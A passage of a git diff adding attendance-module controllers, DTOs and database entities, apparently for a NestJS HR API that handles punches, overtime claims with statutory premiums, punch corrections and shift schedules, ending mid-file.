@HrStaff(HR_PERMS.attendance.approveOvertime) + @ApiOperation({ + summary: "Change a premium", + description: "Refused below the statutory floor for that category.", + }) + updateRate( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: UpdateOvertimeRateDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.overtime.updateRate(id, dto, actorFrom(user)); + } + + @Post() + @HrStaff(HR_PERMS.attendance.requestOvertime) + @ApiOperation({ + summary: "Claim overtime", + description: + "The category is derived from when the work happened, not chosen — a " + + "public holiday beats a rest day, which beats night, which beats " + + "ordinary. The multiplier is frozen on the claim at this moment.", + }) + @ApiResponse({ + status: 400, + description: "Over the daily, monthly or annual cap in Art. 67", + }) + create(@Body() dto: CreateOvertimeDto, @CurrentUser() user: TCurrentUser) { + return this.overtime.create(dto, actorFrom(user)); + } + + @Get("mine") + @HrStaff(HR_PERMS.attendance.viewOwn) + @ApiOperation({ summary: "My overtime claims" }) + mine( + @CurrentUser() user: TCurrentUser, + @Query("status") status?: EOvertimeStatus, + @Query("page", new ParseIntPipe({ optional: true })) page?: number, + @Query("limit", new ParseIntPipe({ optional: true })) limit?: number, + ) { + const actor = actorFrom(user); + return this.overtime.findAll( + { employeeId: actor.employeeId ?? "", status, page, limit }, + actor, + ); + } + + @Get("awaiting-me") + @HrStaff(HR_PERMS.attendance.approveOvertime) + @ApiOperation({ summary: "Claims waiting on my decision" }) + awaitingMe( + @CurrentUser() user: TCurrentUser, + @Query("page", new ParseIntPipe({ optional: true })) page?: number, + @Query("limit", new ParseIntPipe({ optional: true })) limit?: number, + ) { + return this.overtime.findAwaitingMe(actorFrom(user), page, limit); + } + + @Get() + @HrStaff(HR_PERMS.attendance.viewAll) + @ApiOperation({ summary: "All overtime claims" }) + @ApiQuery({ name: "employeeId", required: false }) + @ApiQuery({ name: "status", required: false, enum: EOvertimeStatus }) + findAll( + @CurrentUser() user: TCurrentUser, + @Query("employeeId") employeeId?: string, + @Query("status") status?: EOvertimeStatus, + @Query("from") from?: string, + @Query("to") to?: string, + @Query("page", new ParseIntPipe({ optional: true })) page?: number, + @Query("limit", new ParseIntPipe({ optional: true })) limit?: number, + ) { + return this.overtime.findAll( + { employeeId, status, from, to, page, limit }, + actorFrom(user), + ); + } + + @Get("totals/:employeeId") + @HrStaff(HR_PERMS.attendance.viewAll) + @ApiOperation({ + summary: "Approved hours by category for a period", + description: "What payroll multiplies. Approved claims only.", + }) + totals( + @Param("employeeId", ParseUUIDPipe) employeeId: string, + @Query("from") from: string, + @Query("to") to: string, + ) { + return this.overtime.approvedTotals(employeeId, from, to); + } + + @Patch(":id/approve") + @HrStaff(HR_PERMS.attendance.approveOvertime) + @ApiOperation({ + summary: "Approve a claim", + description: + "Caps are re-checked here: other claims may have been approved since this " + + "one was filed, and the monthly ceiling is about the total.", + }) + approve( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: DecideDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.overtime.approve(id, dto.note, actorFrom(user)); + } + + @Patch(":id/reject") + @HrStaff(HR_PERMS.attendance.approveOvertime) + @ApiOperation({ summary: "Reject a claim, with a reason" }) + reject( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: RejectDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.overtime.reject(id, dto.note, actorFrom(user)); + } + + @Patch(":id/withdraw") + @HrStaff(HR_PERMS.attendance.requestOvertime) + @ApiOperation({ summary: "Withdraw a claim before a decision" }) + withdraw( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.overtime.withdraw(id, actorFrom(user)); + } +} diff --git a/apps/edr-hr-api/src/modules/attendance/controllers/regularizations.controller.ts b/apps/edr-hr-api/src/modules/attendance/controllers/regularizations.controller.ts new file mode 100644 index 000000000..33a4c2deb --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/controllers/regularizations.controller.ts @@ -0,0 +1,138 @@ +import { + Body, + Controller, + Get, + Param, + ParseIntPipe, + ParseUUIDPipe, + Patch, + Post, + Query, +} from "@nestjs/common"; +import { + ApiBearerAuth, + ApiOperation, + ApiQuery, + ApiTags, +} from "@nestjs/swagger"; +import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { HrStaff } from "../../../common/hr-guards"; +import { actorFrom } from "../../../common/current-actor.util"; +import { HR_PERMS } from "../../../seed/hr-permissions.registry"; +import { RegularizationsService } from "../services/regularizations.service"; +import { ERegularizationStatus } from "../entities/attendance-regularization.entity"; +import { CreateRegularizationDto } from "../dto/regularization.dto"; +import { DecideDto, RejectDto } from "../dto/overtime.dto"; + +@ApiTags("attendance-regularizations") +@ApiBearerAuth() +@Controller("attendance-regularizations") +@HrStaff([ + HR_PERMS.attendance.regularize, + HR_PERMS.attendance.approveRegularization, + HR_PERMS.attendance.viewOwn, + HR_PERMS.attendance.viewAll, +]) +export class RegularizationsController { + constructor(private readonly regularizations: RegularizationsService) {} + + @Post() + @HrStaff(HR_PERMS.attendance.regularize) + @ApiOperation({ + summary: "Ask to correct a punch", + description: + "For a forgotten clock-in, a mis-clock, or a device that was down. " + + "Nothing changes until it is approved.", + }) + create( + @Body() dto: CreateRegularizationDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.regularizations.create(dto, actorFrom(user)); + } + + @Get("mine") + @HrStaff(HR_PERMS.attendance.viewOwn) + @ApiOperation({ summary: "My corrections" }) + mine( + @CurrentUser() user: TCurrentUser, + @Query("status") status?: ERegularizationStatus, + @Query("page", new ParseIntPipe({ optional: true })) page?: number, + @Query("limit", new ParseIntPipe({ optional: true })) limit?: number, + ) { + const actor = actorFrom(user); + return this.regularizations.findAll( + { employeeId: actor.employeeId ?? "", status, page, limit }, + actor, + ); + } + + @Get("awaiting-me") + @HrStaff(HR_PERMS.attendance.approveRegularization) + @ApiOperation({ summary: "Corrections waiting on my decision" }) + awaitingMe( + @CurrentUser() user: TCurrentUser, + @Query("page", new ParseIntPipe({ optional: true })) page?: number, + @Query("limit", new ParseIntPipe({ optional: true })) limit?: number, + ) { + return this.regularizations.findAwaitingMe(actorFrom(user), page, limit); + } + + @Get() + @HrStaff(HR_PERMS.attendance.viewAll) + @ApiOperation({ summary: "All corrections" }) + @ApiQuery({ name: "employeeId", required: false }) + @ApiQuery({ name: "status", required: false, enum: ERegularizationStatus }) + findAll( + @CurrentUser() user: TCurrentUser, + @Query("employeeId") employeeId?: string, + @Query("status") status?: ERegularizationStatus, + @Query("page", new ParseIntPipe({ optional: true })) page?: number, + @Query("limit", new ParseIntPipe({ optional: true })) limit?: number, + ) { + return this.regularizations.findAll( + { employeeId, status, page, limit }, + actorFrom(user), + ); + } + + @Patch(":id/approve") + @HrStaff(HR_PERMS.attendance.approveRegularization) + @ApiOperation({ + summary: "Approve and apply the correction", + description: + "The record is updated in the same transaction, and the values being " + + "replaced are copied onto the request first — so what it said before " + + "stays answerable.", + }) + approve( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: DecideDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.regularizations.approve(id, dto.note, actorFrom(user)); + } + + @Patch(":id/reject") + @HrStaff(HR_PERMS.attendance.approveRegularization) + @ApiOperation({ summary: "Reject, with a reason" }) + reject( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: RejectDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.regularizations.reject(id, dto.note, actorFrom(user)); + } + + @Patch(":id/withdraw") + @HrStaff(HR_PERMS.attendance.regularize) + @ApiOperation({ summary: "Withdraw before a decision" }) + withdraw( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.regularizations.withdraw(id, actorFrom(user)); + } +} diff --git a/apps/edr-hr-api/src/modules/attendance/controllers/work-schedules.controller.ts b/apps/edr-hr-api/src/modules/attendance/controllers/work-schedules.controller.ts new file mode 100644 index 000000000..c4e52d64e --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/controllers/work-schedules.controller.ts @@ -0,0 +1,103 @@ +import { + Body, + Controller, + Delete, + Get, + HttpCode, + HttpStatus, + Param, + ParseUUIDPipe, + Patch, + Post, +} from "@nestjs/common"; +import { ApiBearerAuth, ApiOperation, ApiTags } from "@nestjs/swagger"; +import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator"; +import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type"; + +import { HrStaff } from "../../../common/hr-guards"; +import { actorFrom } from "../../../common/current-actor.util"; +import { HR_PERMS } from "../../../seed/hr-permissions.registry"; +import { WorkSchedulesService } from "../services/work-schedules.service"; +import { + AssignScheduleDto, + CreateWorkScheduleDto, + UpdateWorkScheduleDto, +} from "../dto/work-schedule.dto"; + +@ApiTags("work-schedules") +@ApiBearerAuth() +@Controller("work-schedules") +@HrStaff([HR_PERMS.attendance.manageWorkSchedule, HR_PERMS.attendance.viewOwn]) +export class WorkSchedulesController { + constructor(private readonly schedules: WorkSchedulesService) {} + + @Get() + // Readable by anyone who can see their own attendance: the schedule is what + // decides whether they were late, so hiding it makes the verdict arbitrary. + @HrStaff(HR_PERMS.attendance.viewOwn) + @ApiOperation({ summary: "Shift patterns" }) + findAll(@CurrentUser() user: TCurrentUser) { + return this.schedules.findAll(actorFrom(user)); + } + + @Get(":id") + @HrStaff(HR_PERMS.attendance.viewOwn) + @ApiOperation({ summary: "One shift pattern" }) + findOne( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.schedules.findOne(id, actorFrom(user)); + } + + @Post() + @HrStaff(HR_PERMS.attendance.manageWorkSchedule) + @ApiOperation({ summary: "Add a shift pattern" }) + create(@Body() dto: CreateWorkScheduleDto, @CurrentUser() user: TCurrentUser) { + return this.schedules.create(dto, actorFrom(user)); + } + + @Patch(":id") + @HrStaff(HR_PERMS.attendance.manageWorkSchedule) + @ApiOperation({ summary: "Change a shift pattern" }) + update( + @Param("id", ParseUUIDPipe) id: string, + @Body() dto: UpdateWorkScheduleDto, + @CurrentUser() user: TCurrentUser, + ) { + return this.schedules.update(id, dto, actorFrom(user)); + } + + @Delete(":id") + @HrStaff(HR_PERMS.attendance.manageWorkSchedule) + @HttpCode(HttpStatus.NO_CONTENT) + @ApiOperation({ + summary: "Retire a shift pattern", + description: "Refused while anyone is still assigned to it.", + }) + remove( + @Param("id", ParseUUIDPipe) id: string, + @CurrentUser() user: TCurrentUser, + ) { + return this.schedules.remove(id, actorFrom(user)); + } + + @Post("assign") + @HrStaff(HR_PERMS.attendance.manageWorkSchedule) + @ApiOperation({ + summary: "Put an employee on a shift pattern", + description: + "Closes their current assignment the day before, so attendance already " + + "recorded keeps being judged against the schedule that actually applied.", + }) + assign(@Body() dto: AssignScheduleDto, @CurrentUser() user: TCurrentUser) { + return this.schedules.assign(dto, actorFrom(user)); + } + + @Get("assignments/:employeeId") + @HrStaff(HR_PERMS.attendance.viewAll) + @ApiOperation({ summary: "An employee's shift history" }) + history(@Param("employeeId", ParseUUIDPipe) employeeId: string) { + return this.schedules.history(employeeId); + } +} diff --git a/apps/edr-hr-api/src/modules/attendance/dto/attendance.dto.ts b/apps/edr-hr-api/src/modules/attendance/dto/attendance.dto.ts new file mode 100644 index 000000000..7e090760e --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/dto/attendance.dto.ts @@ -0,0 +1,78 @@ +import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger"; +import { + IsDateString, + IsEnum, + IsOptional, + IsString, + IsUUID, + MaxLength, +} from "class-validator"; + +import { + EAttendanceSource, + EAttendanceStatus, +} from "../entities/attendance-record.entity"; + +export class PunchDto { + @ApiPropertyOptional({ + format: "uuid", + description: "Omit to punch for yourself. Supplying it needs the record permission.", + }) + @IsOptional() + @IsUUID() + employeeId?: string; + + @ApiPropertyOptional({ + description: "ISO instant. Defaults to now — supply it only for a device sync.", + }) + @IsOptional() + @IsDateString() + at?: string; + + @ApiPropertyOptional({ enum: EAttendanceSource, default: EAttendanceSource.WEB }) + @IsOptional() + @IsEnum(EAttendanceSource) + source?: EAttendanceSource; + + @ApiPropertyOptional({ maxLength: 512 }) + @IsOptional() + @IsString() + @MaxLength(512) + notes?: string; +} + +export class RecordAttendanceDto { + @ApiProperty({ format: "uuid" }) + @IsUUID() + employeeId!: string; + + @ApiProperty({ format: "date" }) + @IsDateString() + workDate!: string; + + @ApiPropertyOptional({ description: "ISO instant." }) + @IsOptional() + @IsDateString() + checkIn?: string; + + @ApiPropertyOptional({ description: "ISO instant." }) + @IsOptional() + @IsDateString() + checkOut?: string; + + @ApiPropertyOptional({ + enum: EAttendanceStatus, + description: + "Override the derived status. ON_LEAVE is refused unless approved leave " + + "actually covers the date.", + }) + @IsOptional() + @IsEnum(EAttendanceStatus) + status?: EAttendanceStatus; + + @ApiPropertyOptional({ maxLength: 512 }) + @IsOptional() + @IsString() + @MaxLength(512) + notes?: string; +} diff --git a/apps/edr-hr-api/src/modules/attendance/dto/overtime.dto.ts b/apps/edr-hr-api/src/modules/attendance/dto/overtime.dto.ts new file mode 100644 index 000000000..8119e2180 --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/dto/overtime.dto.ts @@ -0,0 +1,70 @@ +import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger"; +import { + IsDateString, + IsNumberString, + IsOptional, + IsString, + IsUUID, + MaxLength, +} from "class-validator"; + +export class CreateOvertimeDto { + @ApiPropertyOptional({ format: "uuid", description: "Omit to claim for yourself." }) + @IsOptional() + @IsUUID() + employeeId?: string; + + @ApiProperty({ description: "ISO instant the extra work began." }) + @IsDateString() + startedAt!: string; + + @ApiProperty({ description: "ISO instant it ended." }) + @IsDateString() + endedAt!: string; + + @ApiPropertyOptional({ + format: "date", + description: + "The day the work belongs to. Defaults to the day it began, which is what " + + "night work should use — a shift starting 22:00 Monday is Monday's overtime.", + }) + @IsOptional() + @IsDateString() + workDate?: string; + + @ApiPropertyOptional({ maxLength: 512 }) + @IsOptional() + @IsString() + @MaxLength(512) + reason?: string; +} + +export class UpdateOvertimeRateDto { + @ApiPropertyOptional({ + example: "2.00", + description: "Cannot be set below the statutory floor for the category.", + }) + @IsOptional() + @IsNumberString() + multiplier?: string; + + @ApiPropertyOptional({ example: "2.00", nullable: true }) + @IsOptional() + @IsNumberString() + maxHoursPerDay?: string | null; +} + +export class DecideDto { + @ApiPropertyOptional({ maxLength: 512 }) + @IsOptional() + @IsString() + @MaxLength(512) + note?: string; +} + +export class RejectDto { + @ApiProperty({ maxLength: 512, description: "Required." }) + @IsString() + @MaxLength(512) + note!: string; +} diff --git a/apps/edr-hr-api/src/modules/attendance/dto/regularization.dto.ts b/apps/edr-hr-api/src/modules/attendance/dto/regularization.dto.ts new file mode 100644 index 000000000..91c697035 --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/dto/regularization.dto.ts @@ -0,0 +1,39 @@ +import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger"; +import { + IsDateString, + IsOptional, + IsString, + IsUUID, + MaxLength, +} from "class-validator"; + +export class CreateRegularizationDto { + @ApiPropertyOptional({ format: "uuid", description: "Omit to file for yourself." }) + @IsOptional() + @IsUUID() + employeeId?: string; + + @ApiProperty({ format: "date", description: "The day being corrected." }) + @IsDateString() + workDate!: string; + + @ApiPropertyOptional({ description: "ISO instant. Omit to leave the recorded one." }) + @IsOptional() + @IsDateString() + requestedCheckIn?: string; + + @ApiPropertyOptional({ description: "ISO instant. Omit to leave the recorded one." }) + @IsOptional() + @IsDateString() + requestedCheckOut?: string; + + @ApiProperty({ + maxLength: 512, + description: + "Required — a correction with no explanation is not reviewable, and this " + + "is the record an approver decides on.", + }) + @IsString() + @MaxLength(512) + reason!: string; +} diff --git a/apps/edr-hr-api/src/modules/attendance/dto/work-schedule.dto.ts b/apps/edr-hr-api/src/modules/attendance/dto/work-schedule.dto.ts new file mode 100644 index 000000000..745aa5896 --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/dto/work-schedule.dto.ts @@ -0,0 +1,138 @@ +import { ApiProperty, ApiPropertyOptional, PartialType } from "@nestjs/swagger"; +import { Type } from "class-transformer"; +import { + ArrayMaxSize, + IsArray, + IsBoolean, + IsDateString, + IsInt, + IsNotEmpty, + IsObject, + IsOptional, + IsString, + IsUUID, + Matches, + Max, + MaxLength, + Min, + ValidateNested, +} from "class-validator"; + +import { LocalizedTextDto } from "../../leave/dto/leave-type.dto"; + +/** `HH:MM` or `HH:MM:SS`, 24-hour. */ +const TIME = /^([01]\d|2[0-3]):[0-5]\d(:[0-5]\d)?$/; + +export class CreateWorkScheduleDto { + @ApiProperty({ maxLength: 32, example: "STANDARD" }) + @IsString() + @IsNotEmpty() + @MaxLength(32) + code!: string; + + @ApiProperty({ type: LocalizedTextDto }) + @IsObject() + @ValidateNested() + @Type(() => LocalizedTextDto) + name!: LocalizedTextDto; + + @ApiPropertyOptional({ example: "08:30", default: "08:30" }) + @IsOptional() + @Matches(TIME, { message: "startTime must be HH:MM or HH:MM:SS" }) + startTime?: string; + + @ApiPropertyOptional({ example: "17:30", default: "17:30" }) + @IsOptional() + @Matches(TIME, { message: "endTime must be HH:MM or HH:MM:SS" }) + endTime?: string; + + @ApiPropertyOptional({ default: 60, minimum: 0, maximum: 480 }) + @IsOptional() + @IsInt() + @Min(0) + @Max(480) + breakMinutes?: number; + + @ApiPropertyOptional({ + default: 10, + description: "Arrive within this many minutes and nothing is recorded.", + }) + @IsOptional() + @IsInt() + @Min(0) + @Max(240) + gracePeriodMinutes?: number; + + @ApiPropertyOptional({ + type: [Number], + example: [1, 2, 3, 4, 5], + description: + "Days this shift works, 0 = Sunday. Omit to follow the organisation's " + + "working week from leave settings.", + }) + @IsOptional() + @IsArray() + @ArrayMaxSize(7) + @IsInt({ each: true }) + @Min(0, { each: true }) + @Max(6, { each: true }) + workingDays?: number[]; + + @ApiPropertyOptional({ default: 420, description: "7 hours." }) + @IsOptional() + @IsInt() + @Min(0) + @Max(1440) + minMinutesFullDay?: number; + + @ApiPropertyOptional({ default: 210 }) + @IsOptional() + @IsInt() + @Min(0) + @Max(1440) + minMinutesHalfDay?: number; + + @ApiPropertyOptional({ + default: false, + description: "A night shift ending the following morning.", + }) + @IsOptional() + @IsBoolean() + crossesMidnight?: boolean; + + @ApiPropertyOptional({ + default: false, + description: + "Applies to anyone with no explicit assignment. Setting it moves the " + + "default off whichever schedule currently holds it.", + }) + @IsOptional() + @IsBoolean() + isDefault?: boolean; + + @ApiPropertyOptional({ default: true }) + @IsOptional() + @IsBoolean() + isActive?: boolean; +} + +export class UpdateWorkScheduleDto extends PartialType(CreateWorkScheduleDto) {} + +export class AssignScheduleDto { + @ApiProperty({ format: "uuid", description: "iam.employees.id" }) + @IsUUID() + employeeId!: string; + + @ApiProperty({ format: "uuid" }) + @IsUUID() + workScheduleId!: string; + + @ApiProperty({ + format: "date", + description: + "The current assignment is closed the day before this, so history stays " + + "intact.", + }) + @IsDateString() + effectiveFrom!: string; +} diff --git a/apps/edr-hr-api/src/modules/attendance/entities/attendance-record.entity.ts b/apps/edr-hr-api/src/modules/attendance/entities/attendance-record.entity.ts new file mode 100644 index 000000000..2f111a63c --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/entities/attendance-record.entity.ts @@ -0,0 +1,116 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { + Column, + Entity, + Index, + JoinColumn, + ManyToOne, + PrimaryGeneratedColumn, +} from "typeorm"; + +import { WorkSchedule } from "./work-schedule.entity"; + +export enum EAttendanceStatus { + PRESENT = "PRESENT", + LATE = "LATE", + /** Expected in, never arrived, and no leave explains it. */ + ABSENT = "ABSENT", + HALF_DAY = "HALF_DAY", + /** Covered by an approved leave request — `leaveRequestId` says which. */ + ON_LEAVE = "ON_LEAVE", + HOLIDAY = "HOLIDAY", + /** A weekend, or a day this shift does not work. */ + REST_DAY = "REST_DAY", +} + +export enum EAttendanceSource { + WEB = "WEB", + MOBILE = "MOBILE", + BIOMETRIC = "BIOMETRIC", + /** Entered by hand — an administrator filling a gap. */ + MANUAL = "MANUAL", + IMPORT = "IMPORT", + /** Derived, not observed: rest days, holidays and leave days. */ + SYSTEM = "SYSTEM", +} + +/** + * One employee, one day. + * + * `workDate` is a DATE and not a timestamp on purpose. A night shift clocking + * out at 02:00 belongs to the day it began; keying on the punch instant would + * file it under the following day and split one shift across two rows. + */ +@Entity({ schema: "hr", name: "attendance_records" }) +@Index("idx_attendance_org_date", ["organizationId", "workDate"]) +export class AttendanceRecord extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "uuid", name: "employee_id" }) + employeeId!: string; + + @Column({ type: "date", name: "work_date" }) + workDate!: string; + + /** The schedule in force on this date — frozen, not looked up on read. */ + @Column({ type: "uuid", name: "work_schedule_id", nullable: true }) + workScheduleId?: string | null; + + @ManyToOne(() => WorkSchedule) + @JoinColumn({ name: "work_schedule_id" }) + workSchedule?: WorkSchedule; + + @Column({ type: "timestamptz", name: "check_in", nullable: true }) + checkIn?: Date | null; + + @Column({ type: "timestamptz", name: "check_out", nullable: true }) + checkOut?: Date | null; + + @Column({ + type: "varchar", + length: 16, + name: "status", + default: EAttendanceStatus.ABSENT, + }) + status!: EAttendanceStatus; + + /** Between the punches, less the scheduled break. */ + @Column({ type: "integer", name: "worked_minutes", default: 0 }) + workedMinutes!: number; + + /** Past the start time AND past the grace period. Zero when within grace. */ + @Column({ type: "integer", name: "late_minutes", default: 0 }) + lateMinutes!: number; + + @Column({ type: "integer", name: "early_leave_minutes", default: 0 }) + earlyLeaveMinutes!: number; + + @Column({ + type: "varchar", + length: 16, + name: "source", + default: EAttendanceSource.WEB, + }) + source!: EAttendanceSource; + + /** Set when ON_LEAVE — which approved request excuses this day. */ + @Column({ type: "uuid", name: "leave_request_id", nullable: true }) + leaveRequestId?: string | null; + + @Column({ type: "varchar", length: 512, name: "notes", nullable: true }) + notes?: string | null; + + /** True once a regularization has corrected the punches. */ + @Column({ type: "boolean", name: "is_regularized", default: false }) + isRegularized!: boolean; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} diff --git a/apps/edr-hr-api/src/modules/attendance/entities/attendance-regularization.entity.ts b/apps/edr-hr-api/src/modules/attendance/entities/attendance-regularization.entity.ts new file mode 100644 index 000000000..a9c135a0a --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/entities/attendance-regularization.entity.ts @@ -0,0 +1,90 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { Column, Entity, Index, PrimaryGeneratedColumn } from "typeorm"; + +import { EAttendanceStatus } from "./attendance-record.entity"; + +export enum ERegularizationStatus { + SUBMITTED = "SUBMITTED", + APPROVED = "APPROVED", + REJECTED = "REJECTED", + WITHDRAWN = "WITHDRAWN", +} + +/** + * A request to correct a punch — forgotten, mis-clocked, or a device that was + * down. + * + * The correction is applied only on approval. The values that were there before + * are copied onto this row at that moment, so "what did the record say before + * somebody changed it?" is answerable from the request itself, without a + * separate audit table. + */ +@Entity({ schema: "hr", name: "attendance_regularizations" }) +@Index("idx_regularizations_employee", ["employeeId", "workDate"]) +export class AttendanceRegularization extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "uuid", name: "employee_id" }) + employeeId!: string; + + /** Null when no record exists yet — a day that was never punched at all. */ + @Column({ type: "uuid", name: "attendance_record_id", nullable: true }) + attendanceRecordId?: string | null; + + @Column({ type: "date", name: "work_date" }) + workDate!: string; + + @Column({ type: "timestamptz", name: "requested_check_in", nullable: true }) + requestedCheckIn?: Date | null; + + @Column({ type: "timestamptz", name: "requested_check_out", nullable: true }) + requestedCheckOut?: Date | null; + + /** Captured at approval, not at submission — the record may change meanwhile. */ + @Column({ type: "timestamptz", name: "original_check_in", nullable: true }) + originalCheckIn?: Date | null; + + @Column({ type: "timestamptz", name: "original_check_out", nullable: true }) + originalCheckOut?: Date | null; + + @Column({ + type: "varchar", + length: 16, + name: "original_status", + nullable: true, + }) + originalStatus?: EAttendanceStatus | null; + + @Column({ type: "varchar", length: 512, name: "reason" }) + reason!: string; + + @Column({ + type: "varchar", + length: 16, + name: "status", + default: ERegularizationStatus.SUBMITTED, + }) + status!: ERegularizationStatus; + + @Column({ type: "uuid", name: "approver_employee_id", nullable: true }) + approverEmployeeId?: string | null; + + @Column({ type: "uuid", name: "decided_by_employee_id", nullable: true }) + decidedByEmployeeId?: string | null; + + @Column({ type: "timestamptz", name: "decided_at", nullable: true }) + decidedAt?: Date | null; + + @Column({ type: "varchar", length: 512, name: "decision_note", nullable: true }) + decisionNote?: string | null; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} diff --git a/apps/edr-hr-api/src/modules/attendance/entities/overtime.entity.ts b/apps/edr-hr-api/src/modules/attendance/entities/overtime.entity.ts new file mode 100644 index 000000000..e036e1e80 --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/entities/overtime.entity.ts @@ -0,0 +1,135 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { Column, Entity, Index, PrimaryGeneratedColumn } from "typeorm"; + +/** + * Which premium applies. Derived from when the work happened, never chosen by + * the person claiming it — the category decides the money. + */ +export enum EOvertimeCategory { + /** Ordinary overtime, 06:00–22:00 on a normal working day. */ + DAY = "DAY", + /** Night work, 22:00–06:00. */ + NIGHT = "NIGHT", + /** The weekly rest day. */ + REST_DAY = "REST_DAY", + PUBLIC_HOLIDAY = "PUBLIC_HOLIDAY", +} + +export enum EOvertimeStatus { + SUBMITTED = "SUBMITTED", + APPROVED = "APPROVED", + REJECTED = "REJECTED", + WITHDRAWN = "WITHDRAWN", +} + +/** + * The premium paid for each category, per organization. + * + * Proclamation 1156/2019 Art. 68 sets the statutory floor — 1.5× ordinary, + * 1.75× night, 2× on the weekly rest day, 2.5× on a public holiday. An employer + * may pay more, never less, which is why these are rows an employer can raise + * rather than constants only a developer can change. + */ +@Entity({ schema: "hr", name: "overtime_rates" }) +@Index("idx_overtime_rates_organization_id", ["organizationId"]) +export class OvertimeRate extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "varchar", length: 24, name: "category" }) + category!: EOvertimeCategory; + + @Column({ type: "numeric", precision: 5, scale: 2, name: "multiplier" }) + multiplier!: string; + + /** Art. 67 caps ordinary overtime at two hours a day. Null = uncapped. */ + @Column({ + type: "numeric", + precision: 5, + scale: 2, + name: "max_hours_per_day", + nullable: true, + }) + maxHoursPerDay?: string | null; + + @Column({ type: "varchar", length: 64, name: "statute_reference", nullable: true }) + statuteReference?: string | null; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} + +/** + * A claim for extra hours. + * + * `category` and `multiplier` are both frozen on the row. The category is + * derived at submission from when the work happened; the multiplier is copied + * from the rate table at that moment. A rate rise next year must not silently + * reprice work already done — and, worse, already paid. + */ +@Entity({ schema: "hr", name: "overtime_requests" }) +@Index("idx_overtime_requests_employee", ["employeeId", "workDate"]) +export class OvertimeRequest extends SoftDeleteAudit { + @PrimaryGeneratedColumn("uuid") + id!: string; + + @Column({ type: "uuid", name: "organization_id" }) + organizationId!: string; + + @Column({ type: "uuid", name: "employee_id" }) + employeeId!: string; + + /** The day the work belongs to — night work belongs to the day it began. */ + @Column({ type: "date", name: "work_date" }) + workDate!: string; + + @Column({ type: "timestamptz", name: "started_at" }) + startedAt!: Date; + + @Column({ type: "timestamptz", name: "ended_at" }) + endedAt!: Date; + + @Column({ type: "numeric", precision: 6, scale: 2, name: "hours" }) + hours!: string; + + @Column({ type: "varchar", length: 24, name: "category" }) + category!: EOvertimeCategory; + + @Column({ type: "numeric", precision: 5, scale: 2, name: "multiplier" }) + multiplier!: string; + + @Column({ + type: "varchar", + length: 16, + name: "status", + default: EOvertimeStatus.SUBMITTED, + }) + status!: EOvertimeStatus; + + @Column({ type: "varchar", length: 512, name: "reason", nullable: true }) + reason?: string | null; + + @Column({ type: "uuid", name: "approver_employee_id", nullable: true }) + approverEmployeeId?: string | null; + + @Column({ type: "uuid", name: "decided_by_employee_id", nullable: true }) + decidedByEmployeeId?: string | null; + + @Column({ type: "timestamptz", name: "decided_at", nullable: true }) + decidedAt?: Date | null; + + @Column({ type: "varchar", length: 512, name: "decision_note", nullable: true }) + decisionNote?: string | null; + + @Column({ type: "uuid", name: "created_by", nullable: true }) + createdBy?: string | null; + + @Column({ type: "uuid", name: "updated_by", nullable: true }) + updatedBy?: string | null; +} diff --git a/apps/edr-hr-api/src/modules/attendance/entities/work-schedule-assignment.entity.ts b/apps/edr-hr-api/src/modules/attendance/entities/work-schedule-assignment.entity.ts new file mode 100644 index 000000000..6803dc5aa --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/entities/work-schedule-assignment.entity.ts @@ -0,0 +1,52 @@ +import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity"; +import { + Column, + Entity, + Index, + JoinColumn, + ManyToOne, + PrimaryGeneratedColumn, +} from "typeorm"; + +import { 